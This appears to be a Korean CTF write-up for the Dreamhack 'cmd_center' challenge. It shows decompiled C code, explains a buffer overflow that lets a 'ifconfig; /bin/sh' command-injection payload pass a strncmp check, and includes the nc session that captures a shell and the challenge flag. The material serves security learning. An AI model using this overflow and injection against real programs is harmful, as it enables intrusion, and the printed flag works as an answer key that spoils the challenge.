콘텐츠로 건너뛰기

cmd_center

Description

IP를 확인할 필요가 없습니다! 혹시 다른 명령어는 못쓰나요?
다른 명령어를 사용했다면 플래그를 획득하세요!

cmd_center.c

int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{
  char buf[32]; // [rsp+0h] [rbp-130h] BYREF
  char s1[10]; // [rsp+20h] [rbp-110h] BYREF
  __int16 v5; // [rsp+2Ah] [rbp-106h]
  int v6; // [rsp+2Ch] [rbp-104h]
  char v7[240]; // [rsp+30h] [rbp-100h] BYREF
  _QWORD v8[2]; // [rsp+120h] [rbp-10h] BYREF

  v8[1] = __readfsqword(0x28u);
  strcpy(s1, "ifconfig");
  s1[9] = 0;
  v5 = 0;
  v6 = 0;
  memset(v7, 0, sizeof(v7));
  init(v8, argv, v7);
  printf("Center name: ");
  read(0, buf, 0x64uLL);
  if ( !strncmp(s1, "ifconfig", 8uLL) )
    system(s1);
  else
    puts("Something is wrong!");
  exit(0);
}

Solution

  1. read 함수에서 buf를 0x64만큼 입력받는데, 할당된 buf 크기는 32바이트이므로 버퍼 오버플로우가 발생한다.
  2. 버퍼 오버플로우를 발생시켜 s1은 ifconfig 그대로 strncmp 검사에서 통과하도록 만들고 그 뒤에 ;을 붙여 뒤에 쉘을 띄우도록 /bin/sh를 추가해준다.

Stack

================
RET
================
RBP
================

================
s1[10] <- rbp-0x110
================
buf[32] <- rbp-0x130
================

s1과 buf 거리가 32바이트 차이나므로 그만큼 더미인 A로 채우고, ifconfig; /bin/sh를 입력하면 쉘을 띄울 수 있다.

Result

iotfragile@iotfragile:~/CTF/cmd_center$ nc host3.dreamhack.games 20091
Center name: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAifconfig; /bin/sh
ls
cmd_center
flag
run.sh
cat flag
DH{f4c11bf9ea5a1df24175ee4d11da0d16}

FLAG

DH{f4c11bf9ea5a1df24175ee4d11da0d16}

태그:

답글 남기기